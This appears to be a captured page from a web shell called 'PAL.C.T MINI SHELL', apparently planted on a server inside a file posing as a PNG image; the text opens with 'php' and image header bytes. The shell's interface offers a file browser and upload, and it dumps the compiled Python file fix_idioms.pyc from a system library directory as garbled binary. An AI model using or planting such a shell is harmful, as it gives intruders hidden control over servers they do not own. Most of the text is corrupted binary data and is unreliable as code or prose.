php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/fixes/
upload
files >> //usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyc

Lc@smdZddklZddklZlZlZlZlZl	Z	dZ
dZdeifdYZ
dS(	sAdjust some old Python 2 idioms to their modern counterparts.

* Change some type comparisons to isinstance() calls:
    type(x) == T -> isinstance(x, T)
    type(x) is T -> isinstance(x, T)
    type(x) != T -> not isinstance(x, T)
    type(x) is not T -> not isinstance(x, T)

* Change "while 1:" into "while True:".

* Change both

    v = list(EXPR)
    v.sort()
    foo(v)

and the more general

    v = EXPR
    v.sort()
    foo(v)

into

    v = sorted(EXPR)
    foo(v)
i(t
fixer_base(tCalltCommatNametNodet	BlankLinetsymss0(n='!=' | '==' | 'is' | n=comp_op< 'is' 'not' >)s(power< 'type' trailer< '(' x=any ')' > >t	FixIdiomscBsQeZeZdeeeefZdZdZdZ	dZ
dZRS(s
        isinstance=comparison< %s %s T=any >
        |
        isinstance=comparison< T=any %s %s >
        |
        while_stmt< 'while' while='1' ':' any+ >
        |
        sorted=any<
            any*
            simple_stmt<
              expr_stmt< id1=any '='
                         power< list='list' trailer< '(' (not arglist<any+>) any ')' > >
              >
              '\n'
            >
            sort=
            simple_stmt<
              power< id2=any
                     trailer< '.' 'sort' > trailer< '(' ')' >
              >
              '\n'
            >
            next=any*
        >
        |
        sorted=any<
            any*
            simple_stmt< expr_stmt< id1=any '=' expr=any > '\n' >
            sort=
            simple_stmt<
              power< id2=any
                     trailer< '.' 'sort' > trailer< '(' ')' >
              >
              '\n'
            >
            next=any*
        >
    cCsOtt|i|}|o,d|jo|d|djo|SdS|S(Ntsortedtid1tid2(tsuperRtmatchtNone(tselftnodetr((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyRPscCsjd|jo|i||Sd|jo|i||Sd|jo|i||StddS(Nt
isinstancetwhileRs
Invalid match(ttransform_isinstancettransform_whilettransform_sorttRuntimeError(RRtresults((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyt	transform[s


cCs|di}|di}d|_d|_ttd|t|g}d|jo+d|_ttitd|g}n|i|_|S(NtxtTuu u
isinstancetnunot(tclonetprefixRRRRRtnot_test(RRRRRttest((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyRes		!
	"cCs*|d}|itdd|idS(NRuTrueR(treplaceRR(RRRtone((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyRqs
cCs|d}|d}|id}|id}|o |itdd|inU|oA|i}d|_|ittd|gd|in
td|i|i}d	|jo|o:|id	d
|d
if}	d	i	|	|d
_q|i
pt|idjptt}
|i
i|
|i|
jpt|id	d
|
_ndS(NtsorttnexttlisttexprusortedRusshould not have reached hereu
i(tgetR RRRRRtremovet
rpartitiontjointparenttAssertionErrortnext_siblingR
Rtappend_child(RRRt	sort_stmtt	next_stmtt	list_calltsimple_exprtnewtbtwntprefix_linestend_line((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyRus0

 	
	
 	(t__name__t
__module__tTruetexplicittTYPEtCMPtPATTERNRRRRR(((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyR%s'		
		N(t__doc__tRt
fixer_utilRRRRRRR;R:tBaseFixR(((s./usr/lib/python2.6/lib2to3/fixes/fix_idioms.pyt<module>s
.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`